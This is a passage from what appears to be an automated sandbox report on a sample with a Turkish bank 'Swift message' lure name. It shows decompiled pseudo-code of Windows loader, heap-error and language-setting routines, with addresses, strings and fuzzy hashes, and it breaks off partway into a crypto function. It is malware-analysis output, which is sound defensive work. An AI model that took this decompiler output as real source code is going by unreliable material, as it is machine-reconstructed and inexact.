						case 0xd:
							goto L21;
						case 0xe:
							goto L21;
						case 0xf:
							goto L21;
					}
				}
				L21:
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E0127B150();
				} else {
					E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push(_t105);
				E0127B150("Error code: %d - %s\n",  *0x1365898);
				_t113 =  *0x13658a4; // 0x0
				if(_t113 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E0127B150();
					} else {
						E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E0127B150("Parameter1: %p\n",  *0x13658a4);
				}
				_t115 =  *0x13658a8; // 0x0
				if(_t115 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E0127B150();
					} else {
						E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E0127B150("Parameter2: %p\n",  *0x13658a8);
				}
				_t117 =  *0x13658ac; // 0x0
				if(_t117 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E0127B150();
					} else {
						E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E0127B150("Parameter3: %p\n",  *0x13658ac);
				}
				_t119 =  *0x13658b0; // 0x0
				if(_t119 != 0) {
					L41:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E0127B150();
					} else {
						E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *0x13658b4);
					E0127B150("Last known valid blocks: before - %p, after - %p\n",  *0x13658b0);
				} else {
					_t120 =  *0x13658b4; // 0x0
					if(_t120 != 0) {
						goto L41;
					}
				}
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E0127B150();
				} else {
					E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				return E0127B150("Stack trace available at %p\n", 0x13658c0);
			}











                                                                        0x01331c10
                                                                        0x01331c16
                                                                        0x01331c1e
                                                                        0x01331c3d
                                                                        0x01331c3e
                                                                        0x01331c20
                                                                        0x01331c35
                                                                        0x01331c3a
                                                                        0x01331c44
                                                                        0x01331c55
                                                                        0x01331c5a
                                                                        0x01331c65
                                                                        0x01331c67
                                                                        0x00000000
                                                                        0x01331c6e
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x01331c67
                                                                        0x01331cdc
                                                                        0x01331ce5
                                                                        0x01331d04
                                                                        0x01331d05
                                                                        0x01331ce7
                                                                        0x01331cfc
                                                                        0x01331d01
                                                                        0x01331d0b
                                                                        0x01331d17
                                                                        0x01331d1f
                                                                        0x01331d25
                                                                        0x01331d30
                                                                        0x01331d4f
                                                                        0x01331d50
                                                                        0x01331d32
                                                                        0x01331d47
                                                                        0x01331d4c
                                                                        0x01331d61
                                                                        0x01331d67
                                                                        0x01331d68
                                                                        0x01331d6e
                                                                        0x01331d79
                                                                        0x01331d98
                                                                        0x01331d99
                                                                        0x01331d7b
                                                                        0x01331d90
                                                                        0x01331d95
                                                                        0x01331daa
                                                                        0x01331db0
                                                                        0x01331db1
                                                                        0x01331db7
                                                                        0x01331dc2
                                                                        0x01331de1
                                                                        0x01331de2
                                                                        0x01331dc4
                                                                        0x01331dd9
                                                                        0x01331dde
                                                                        0x01331df3
                                                                        0x01331df9
                                                                        0x01331dfa
                                                                        0x01331e00
                                                                        0x01331e0a
                                                                        0x01331e13
                                                                        0x01331e32
                                                                        0x01331e33
                                                                        0x01331e15
                                                                        0x01331e2a
                                                                        0x01331e2f
                                                                        0x01331e39
                                                                        0x01331e4a
                                                                        0x01331e02
                                                                        0x01331e02
                                                                        0x01331e08
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x01331e08
                                                                        0x01331e5b
                                                                        0x01331e7a
                                                                        0x01331e7b
                                                                        0x01331e5d
                                                                        0x01331e72
                                                                        0x01331e77
                                                                        0x01331e95

                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
                                                                        • API String ID: 0-2897834094
                                                                        • Opcode ID: 1e2cd70133e3dc33ae247c7cebeef8ee2d6cd182f11f5270e4d1ddb73bafcfe6
                                                                        • Instruction ID: 62b524784d51f0a9f4b02711c20ba4cfcca43331ed6b983a44663ce8a0c4980f
                                                                        • Opcode Fuzzy Hash: 1e2cd70133e3dc33ae247c7cebeef8ee2d6cd182f11f5270e4d1ddb73bafcfe6
                                                                        • Instruction Fuzzy Hash: 1361E63B631199DFD711EB89E488D3177ACEB44A34B0A803EF80D5BB51E6749C808B1E
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012A8E00 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 126timeCOMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 44%
                                                                        			E012A8E00(void* __ecx) {
				signed int _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t32;
				intOrPtr _t35;
				intOrPtr _t43;
				void* _t46;
				intOrPtr _t47;
				void* _t48;
				signed int _t49;
				void* _t50;
				intOrPtr* _t51;
				signed int _t52;
				void* _t53;
				intOrPtr _t55;

				_v8 =  *0x136d360 ^ _t52;
				_t49 = 0;
				_t48 = __ecx;
				_t55 =  *0x1368464; // 0x74720110
				if(_t55 == 0) {
					L9:
					if( !_t49 >= 0) {
						if(( *0x1365780 & 0x00000003) != 0) {
							E012F5510("minkernel\\ntdll\\ldrsnap.c", 0x2b5, "LdrpFindDllActivationContext", 0, "Querying the active activation context failed with status 0x%08lx\n", _t49);
						}
						if(( *0x1365780 & 0x00000010) != 0) {
							asm("int3");
						}
					}
					return E012BB640(_t49, 0, _v8 ^ _t52, _t47, _t48, _t49);
				}
				_t47 =  *((intOrPtr*)(__ecx + 0x18));
				_t43 =  *0x1367984; // 0xe12bf8
				if( *((intOrPtr*)( *[fs:0x30] + 0x1f8)) == 0 || __ecx != _t43) {
					_t32 =  *((intOrPtr*)(_t48 + 0x28));
					if(_t48 == _t43) {
						_t50 = 0x5c;
						if( *_t32 == _t50) {
							_t46 = 0x3f;
							if( *((intOrPtr*)(_t32 + 2)) == _t46 &&  *((intOrPtr*)(_t32 + 4)) == _t46 &&  *((intOrPtr*)(_t32 + 6)) == _t50 &&  *((intOrPtr*)(_t32 + 8)) != 0 &&  *((short*)(_t32 + 0xa)) == 0x3a &&  *((intOrPtr*)(_t32 + 0xc)) == _t50) {
								_t32 = _t32 + 8;
							}
						}
					}
					_t51 =  *0x1368464; // 0x74720110
					 *0x136b1e0(_t47, _t32,  &_v12);
					_t49 =  *_t51();
					if(_t49 >= 0) {
						L8:
						_t35 = _v12;
						if(_t35 != 0) {
							if( *((intOrPtr*)(_t48 + 0x48)) != 0) {
								E012A9B10( *((intOrPtr*)(_t48 + 0x48)));
								_t35 = _v12;
							}
							 *((intOrPtr*)(_t48 + 0x48)) = _t35;
						}
						goto L9;
					}
					if(_t49 != 0xc000008a) {
						if(_t49 != 0xc000008b && _t49 != 0xc0000089 && _t49 != 0xc000000f && _t49 != 0xc0000204 && _t49 != 0xc0000002) {
							if(_t49 != 0xc00000bb) {
								goto L8;
							}
						}
					}
					if(( *0x1365780 & 0x00000005) != 0) {
						_push(_t49);
						E012F5510("minkernel\\ntdll\\ldrsnap.c", 0x298, "LdrpFindDllActivationContext", 2, "Probing for the manifest of DLL \"%wZ\" failed with status 0x%08lx\n", _t48 + 0x24);
						_t53 = _t53 + 0x1c;
					}
					_t49 = 0;
					goto L8;
				} else {
					goto L9;
				}
			}




















                                                                        0x012a8e0f
                                                                        0x012a8e16
                                                                        0x012a8e19
                                                                        0x012a8e1b
                                                                        0x012a8e21
                                                                        0x012a8e7f
                                                                        0x012a8e85
                                                                        0x012e9354
                                                                        0x012e936c
                                                                        0x012e9371
                                                                        0x012e937b
                                                                        0x012e9381
                                                                        0x012e9381
                                                                        0x012e937b
                                                                        0x012a8e9d
                                                                        0x012a8e9d
                                                                        0x012a8e29
                                                                        0x012a8e2c
                                                                        0x012a8e38
                                                                        0x012a8e3e
                                                                        0x012a8e43
                                                                        0x012a8eb5
                                                                        0x012a8eb9
                                                                        0x012e92aa
                                                                        0x012e92af
                                                                        0x012e92e8
                                                                        0x012e92e8
                                                                        0x012e92af
                                                                        0x012a8eb9
                                                                        0x012a8e45
                                                                        0x012a8e53
                                                                        0x012a8e5b
                                                                        0x012a8e5f
                                                                        0x012a8e78
                                                                        0x012a8e78
                                                                        0x012a8e7d
                                                                        0x012a8ec3
                                                                        0x012a8ecd
                                                                        0x012a8ed2
                                                                        0x012a8ed2
                                                                        0x012a8ec5
                                                                        0x012a8ec5
                                                                        0x00000000
                                                                        0x012a8e7d
                                                                        0x012a8e67
                                                                        0x012a8ea4
                                                                        0x012e931a
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e9320
                                                                        0x012a8ea4
                                                                        0x012a8e70
                                                                        0x012e9325
                                                                        0x012e9340
                                                                        0x012e9345
                                                                        0x012e9345
                                                                        0x012a8e76
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000

                                                                        APIs
                                                                        Strings
                                                                        • Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 012E932A
                                                                        • minkernel\ntdll\ldrsnap.c, xrefs: 012E933B, 012E9367
                                                                        • Querying the active activation context failed with status 0x%08lx, xrefs: 012E9357
                                                                        • LdrpFindDllActivationContext, xrefs: 012E9331, 012E935D
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: DebugPrintTimes
                                                                        • String ID: LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c
                                                                        • API String ID: 3446177414-3779518884
                                                                        • Opcode ID: 2313d0817efbfb75a3da98faec3b22c8fb5a7caa7ae17b30ccb5a77cf88ed48c
                                                                        • Instruction ID: 340896a204e98fe5352ef9af64cd3361ac0401d538d96760c633938607583b58
                                                                        • Opcode Fuzzy Hash: 2313d0817efbfb75a3da98faec3b22c8fb5a7caa7ae17b30ccb5a77cf88ed48c
                                                                        • Instruction Fuzzy Hash: F7410931A30317DFEF36AB1C898DA75B7A4AB0434AFC6817AFB0457152E7B05D808781
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01283D34 Relevance: 6.7, Strings: 5, Instructions: 435COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 96%
                                                                        			E01283D34(signed int* __ecx) {
				signed int* _v8;
				char _v12;
				signed int* _v16;
				signed int* _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				signed int _v44;
				signed int* _v48;
				signed int* _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				signed int _t140;
				signed int _t161;
				signed int* _t236;
				signed int* _t242;
				signed int* _t243;
				signed int* _t244;
				signed int* _t245;
				signed int _t255;
				void* _t257;
				signed int _t260;
				void* _t262;
				signed int _t264;
				void* _t267;
				signed int _t275;
				signed int* _t276;
				short* _t277;
				signed int* _t278;
				signed int* _t279;
				signed int* _t280;
				short* _t281;
				signed int* _t282;
				short* _t283;
				signed int* _t284;
				void* _t285;

				_v60 = _v60 | 0xffffffff;
				_t280 = 0;
				_t242 = __ecx;
				_v52 = __ecx;
				_v8 = 0;
				_v20 = 0;
				_v40 = 0;
				_v28 = 0;
				_v32 = 0;
				_v44 = 0;
				_v56 = 0;
				_t275 = 0;
				_v16 = 0;
				if(__ecx == 0) {
					_t280 = 0xc000000d;
					_t140 = 0;
					L50:
					 *_t242 =  *_t242 | 0x00000800;
					_t242[0x13] = _t140;
					_t242[0x16] = _v40;
					_t242[0x18] = _v28;
					_t242[0x14] = _v32;
					_t242[0x17] = _t275;
					_t242[0x15] = _v44;
					_t242[0x11] = _v56;
					_t242[0x12] = _v60;
					return _t280;
				}
				if(E01281B8F(L"WindowsExcludedProcs",  &_v36,  &_v12,  &_v8) >= 0) {
					_v56 = 1;
					if(_v8 != 0) {
						L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v8);
					}
					_v8 = _t280;
				}
				if(E01281B8F(L"Kernel-MUI-Number-Allowed",  &_v36,  &_v12,  &_v8) >= 0) {
					_v60 =  *_v8;
					L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v8);
					_v8 = _t280;
				}
				if(E01281B8F(L"Kernel-MUI-Language-Allowed",  &_v36,  &_v12,  &_v8) < 0) {
					L16:
					if(E01281B8F(L"Kernel-MUI-Language-Disallowed",  &_v36,  &_v12,  &_v8) < 0) {
						L28:
						if(E01281B8F(L"Kernel-MUI-Language-SKU",  &_v36,  &_v12,  &_v8) < 0) {
							L46:
							_t275 = _v16;
							L47:
							_t161 = 0;
							L48:
							if(_v8 != 0) {
								L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t161, _v8);
							}
							_t140 = _v20;
							if(_t140 != 0) {
								if(_t275 != 0) {
									L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t275);
									_t275 = 0;
									_v28 = 0;
									_t140 = _v20;
								}
							}
							goto L50;
						}
						_t167 = _v12;
						_t255 = _v12 + 4;
						_v44 = _t255;
						if(_t255 == 0) {
							_t276 = _t280;
							_v32 = _t280;
						} else {
							_t276 = L01294620(_t255,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t255);
							_t167 = _v12;
							_v32 = _t276;
						}
						if(_t276 == 0) {
							_v44 = _t280;
							_t280 = 0xc0000017;
							goto L46;
						} else {
							E012BF3E0(_t276, _v8, _t167);
							_v48 = _t276;
							_t277 = E012C1370(_t276, 0x1254e90);
							_pop(_t257);
							if(_t277 == 0) {
								L38:
								_t170 = _v48;
								if( *_v48 != 0) {
									E012BBB40(0,  &_v68, _t170);
									if(L012843C0( &_v68,  &_v24) != 0) {
										_t280 =  &(_t280[0]);
									}
								}
								if(_t280 == 0) {
									_t280 = 0;
									L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v32);
									_v44 = 0;
									_v32 = 0;
								} else {
									_t280 = 0;
								}
								_t174 = _v8;
								if(_v8 != 0) {
									L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t174);
								}
								_v8 = _t280;
								goto L46;
							}
							_t243 = _v48;
							do {
								 *_t277 = 0;
								_t278 = _t277 + 2;
								E012BBB40(_t257,  &_v68, _t243);
								if(L012843C0( &_v68,  &_v24) != 0) {
									_t280 =  &(_t280[0]);
								}
								_t243 = _t278;
								_t277 = E012C1370(_t278, 0x1254e90);
								_pop(_t257);
							} while (_t277 != 0);
							_v48 = _t243;
							_t242 = _v52;
							goto L38;
						}
					}
					_t191 = _v12;
					_t260 = _v12 + 4;
					_v28 = _t260;
					if(_t260 == 0) {
						_t275 = _t280;
						_v16 = _t280;
					} else {
						_t275 = L01294620(_t260,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t260);
						_t191 = _v12;
						_v16 = _t275;
					}
					if(_t275 == 0) {
						_v28 = _t280;
						_t280 = 0xc0000017;
						goto L47;
					} else {
						E012BF3E0(_t275, _v8, _t191);
						_t285 = _t285 + 0xc;
						_v48 = _t275;
						_t279 = _t280;
						_t281 = E012C1370(_v16, 0x1254e90);
						_pop(_t262);
						if(_t281 != 0) {
							_t244 = _v48;
							do {
								 *_t281 = 0;
								_t282 = _t281 + 2;
								E012BBB40(_t262,  &_v68, _t244);
								if(L012843C0( &_v68,  &_v24) != 0) {
									_t279 =  &(_t279[0]);
								}
								_t244 = _t282;
								_t281 = E012C1370(_t282, 0x1254e90);
								_pop(_t262);
							} while (_t281 != 0);
							_v48 = _t244;
							_t242 = _v52;
						}
						_t201 = _v48;
						_t280 = 0;
						if( *_v48 != 0) {
							E012BBB40(_t262,  &_v68, _t201);
							if(L012843C0( &_v68,  &_v24) != 0) {
								_t279 =  &(_t279[0]);
							}
						}
						if(_t279 == 0) {
							L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v16);
							_v28 = _t280;
							_v16 = _t280;
						}
						_t202 = _v8;
						if(_v8 != 0) {
							L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t202);
						}
						_v8 = _t280;
						goto L28;
					}
				}
				_t214 = _v12;
				_t264 = _v12 + 4;
				_v40 = _t264;
				if(_t264 == 0) {
					_v20 = _t280;
				} else {
					_t236 = L01294620(_t264,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t264);
					_t280 = _t236;
					_v20 = _t236;
					_t214 = _v12;
				}
				if(_t280 == 0) {
					_t161 = 0;
					_t280 = 0xc0000017;
					_v40 = 0;
					goto L48;
				} else {
					E012BF3E0(_t280, _v8, _t214);
					_t285 = _t285 + 0xc;
					_v48 = _t280;
					_t283 = E012C1370(_t280, 0x1254e90);
					_pop(_t267);
					if(_t283 != 0) {
						_t245 = _v48;
						do {
							 *_t283 = 0;
							_t284 = _t283 + 2;
							E012BBB40(_t267,  &_v68, _t245);
							if(L012843C0( &_v68,  &_v24) != 0) {
								_t275 = _t275 + 1;
							}
							_t245 = _t284;
							_t283 = E012C1370(_t284, 0x1254e90);
							_pop(_t267);
						} while (_t283 != 0);
						_v48 = _t245;
						_t242 = _v52;
					}
					_t224 = _v48;
					_t280 = 0;
					if( *_v48 != 0) {
						E012BBB40(_t267,  &_v68, _t224);
						if(L012843C0( &_v68,  &_v24) != 0) {
							_t275 = _t275 + 1;
						}
					}
					if(_t275 == 0) {
						L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v20);
						_v40 = _t280;
						_v20 = _t280;
					}
					_t225 = _v8;
					if(_v8 != 0) {
						L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t225);
					}
					_v8 = _t280;
					goto L16;
				}
			}










































                                                                        0x01283d3c
                                                                        0x01283d42
                                                                        0x01283d44
                                                                        0x01283d46
                                                                        0x01283d49
                                                                        0x01283d4c
                                                                        0x01283d4f
                                                                        0x01283d52
                                                                        0x01283d55
                                                                        0x01283d58
                                                                        0x01283d5b
                                                                        0x01283d5f
                                                                        0x01283d61
                                                                        0x01283d66
                                                                        0x012d8213
                                                                        0x012d8218
                                                                        0x01284085
                                                                        0x01284088
                                                                        0x0128408e
                                                                        0x01284094
                                                                        0x0128409a
                                                                        0x012840a0
                                                                        0x012840a6
                                                                        0x012840a9
                                                                        0x012840af
                                                                        0x012840b6
                                                                        0x012840bd
                                                                        0x012840bd
                                                                        0x01283d83
                                                                        0x012d821f
                                                                        0x012d8229
                                                                        0x012d8238
                                                                        0x012d8238
                                                                        0x012d823d
                                                                        0x012d823d
                                                                        0x01283da0
                                                                        0x01283daf
                                                                        0x01283db5
                                                                        0x01283dba
                                                                        0x01283dba
                                                                        0x01283dd4
                                                                        0x01283e94
                                                                        0x01283eab
                                                                        0x01283f6d
                                                                        0x01283f84
                                                                        0x0128406b
                                                                        0x0128406b
                                                                        0x0128406e
                                                                        0x0128406e
                                                                        0x01284070
                                                                        0x01284074
                                                                        0x012d8351
                                                                        0x012d8351
                                                                        0x0128407a
                                                                        0x0128407f
                                                                        0x012d835d
                                                                        0x012d8370
                                                                        0x012d8377
                                                                        0x012d8379
                                                                        0x012d837c
                                                                        0x012d837c
                                                                        0x012d835d
                                                                        0x00000000
                                                                        0x0128407f
                                                                        0x01283f8a
                                                                        0x01283f8d
                                                                        0x01283f90
                                                                        0x01283f95
                                                                        0x012d830d
                                                                        0x012d830f
                                                                        0x01283f9b
                                                                        0x01283fac
                                                                        0x01283fae
                                                                        0x01283fb1
                                                                        0x01283fb1
                                                                        0x01283fb6
                                                                        0x012d8317
                                                                        0x012d831a
                                                                        0x00000000
                                                                        0x01283fbc
                                                                        0x01283fc1
                                                                        0x01283fc9
                                                                        0x01283fd7
                                                                        0x01283fda
                                                                        0x01283fdd
                                                                        0x01284021
                                                                        0x01284021
                                                                        0x01284029
                                                                        0x01284030
                                                                        0x01284044
                                                                        0x01284046
                                                                        0x01284046
                                                                        0x01284044
                                                                        0x01284049
                                                                        0x012d8327
                                                                        0x012d8334
                                                                        0x012d8339
                                                                        0x012d833c
                                                                        0x0128404f
                                                                        0x0128404f
                                                                        0x0128404f
                                                                        0x01284051
                                                                        0x01284056
                                                                        0x01284063
                                                                        0x01284063
                                                                        0x01284068
                                                                        0x00000000
                                                                        0x01284068
                                                                        0x01283fdf
                                                                        0x01283fe2
                                                                        0x01283fe4
                                                                        0x01283fe7
                                                                        0x01283fef
                                                                        0x01284003
                                                                        0x01284005
                                                                        0x01284005
                                                                        0x0128400c
                                                                        0x01284013
                                                                        0x01284016
                                                                        0x01284017
                                                                        0x0128401b
                                                                        0x0128401e
                                                                        0x00000000
                                                                        0x0128401e
                                                                        0x01283fb6
                                                                        0x01283eb1
                                                                        0x01283eb4
                                                                        0x01283eb7
                                                                        0x01283ebc
                                                                        0x012d82a9
                                                                        0x012d82ab
                                                                        0x01283ec2
                                                                        0x01283ed3
                                                                        0x01283ed5
                                                                        0x01283ed8
                                                                        0x01283ed8
                                                                        0x01283edd
                                                                        0x012d82b3
                                                                        0x012d82b6
                                                                        0x00000000
                                                                        0x01283ee3
                                                                        0x01283ee8
                                                                        0x01283eed
                                                                        0x01283ef0
                                                                        0x01283ef3
                                                                        0x01283f02
                                                                        0x01283f05
                                                                        0x01283f08
                                                                        0x012d82c0
                                                                        0x012d82c3
                                                                        0x012d82c5
                                                                        0x012d82c8
                                                                        0x012d82d0
                                                                        0x012d82e4
                                                                        0x012d82e6
                                                                        0x012d82e6
                                                                        0x012d82ed
                                                                        0x012d82f4
                                                                        0x012d82f7
                                                                        0x012d82f8
                                                                        0x012d82fc
                                                                        0x012d82ff
                                                                        0x012d82ff
                                                                        0x01283f0e
                                                                        0x01283f11
                                                                        0x01283f16
                                                                        0x01283f1d
                                                                        0x01283f31
                                                                        0x012d8307
                                                                        0x012d8307
                                                                        0x01283f31
                                                                        0x01283f39
                                                                        0x01283f48
                                                                        0x01283f4d
                                                                        0x01283f50
                                                                        0x01283f50
                                                                        0x01283f53
                                                                        0x01283f58
                                                                        0x01283f65
                                                                        0x01283f65
                                                                        0x01283f6a
                                                                        0x00000000
                                                                        0x01283f6a
                                                                        0x01283edd
                                                                        0x01283dda
                                                                        0x01283ddd
                                                                        0x01283de0
                                                                        0x01283de5
                                                                        0x012d8245
                                                                        0x01283deb
                                                                        0x01283df7
                                                                        0x01283dfc
                                                                        0x01283dfe
                                                                        0x01283e01
                                                                        0x01283e01
                                                                        0x01283e06
                                                                        0x012d824d
                                                                        0x012d824f
                                                                        0x012d8254
                                                                        0x00000000
                                                                        0x01283e0c
                                                                        0x01283e11
                                                                        0x01283e16
                                                                        0x01283e19
                                                                        0x01283e29
                                                                        0x01283e2c
                                                                        0x01283e2f
                                                                        0x012d825c
                                                                        0x012d825f
                                                                        0x012d8261
                                                                        0x012d8264
                                                                        0x012d826c
                                                                        0x012d8280
                                                                        0x012d8282
                                                                        0x012d8282
                                                                        0x012d8289
                                                                        0x012d8290
                                                                        0x012d8293
                                                                        0x012d8294
                                                                        0x012d8298
                                                                        0x012d829b
                                                                        0x012d829b
                                                                        0x01283e35
                                                                        0x01283e38
                                                                        0x01283e3d
                                                                        0x01283e44
                                                                        0x01283e58
                                                                        0x012d82a3
                                                                        0x012d82a3
                                                                        0x01283e58
                                                                        0x01283e60
                                                                        0x01283e6f
                                                                        0x01283e74
                                                                        0x01283e77
                                                                        0x01283e77
                                                                        0x01283e7a
                                                                        0x01283e7f
                                                                        0x01283e8c
                                                                        0x01283e8c
                                                                        0x01283e91
                                                                        0x00000000
                                                                        0x01283e91

                                                                        Strings
                                                                        • Kernel-MUI-Language-Disallowed, xrefs: 01283E97
                                                                        • WindowsExcludedProcs, xrefs: 01283D6F
                                                                        • Kernel-MUI-Language-SKU, xrefs: 01283F70
                                                                        • Kernel-MUI-Language-Allowed, xrefs: 01283DC0
                                                                        • Kernel-MUI-Number-Allowed, xrefs: 01283D8C
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
                                                                        • API String ID: 0-258546922
                                                                        • Opcode ID: 3fe5e810c1ac2aa865ede00f4e5319b5e4481e5596b6fedc6b4e13d861c23387
                                                                        • Instruction ID: 9176e8b6cba480c5a70c34074a7250640e9b64b2a665acb556b937250ef9efbf
                                                                        • Opcode Fuzzy Hash: 3fe5e810c1ac2aa865ede00f4e5319b5e4481e5596b6fedc6b4e13d861c23387
                                                                        • Instruction Fuzzy Hash: F8F14272D2125AEFCF15EF98C980AEEBBB9FF18750F14005AE905A7251E7749E01CB90
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0134E824 Relevance: 6.5, APIs: 4, Instructions: 493timeCOMMONCrypto
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 50%
                                                                        			E0134E824(signed int __ecx, signed int* __edx) {
				signed int _v8;
				signed char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				unsigned int _v44;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t177;
				signed int _t179;
				unsigned int _t202;
				signed char _t207;
				signed char _t210;
				signed int _t230;
				void* _t244;
				unsigned int _t247;
				signed int _t288;
				signed int _t289;
				signed int _t291;
				signed char _t293;
				signed char _t295;
				signed char _t298;
				intOrPtr* _t303;
				signed int _t310;
				signed char _t316;
				signed int _t319;
				signed char _t323;
				signed char _t330;
				signed int _t334;
				signed int _t337;
				signed int _t341;
				signed char _t345;
				signed char _t347;
				signed int _t353;
				signed char _t354;
				void* _t383;
				signed char _t385;
				signed char _t386;
				unsigned int _t392;
				signed int _t393;
				signed int _t395;
				signed int _t398;
				signed int _t399;
				signed int _t401;
				unsigned int _t403;
				void* _t404;
				unsigned int _t405;
				signed int _t406;
				signed char _t412;
				unsigned int _t413;
				unsigned int _t418;
				void* _t419;
				void* _t420;
				void* _t421;
				void* _t422;
				void* _t423;
				signed char* _t425;
				signed int _t426;
				signed int _t428;
				unsigned int _t430;
				signed int _t431;
				signed int _t433;

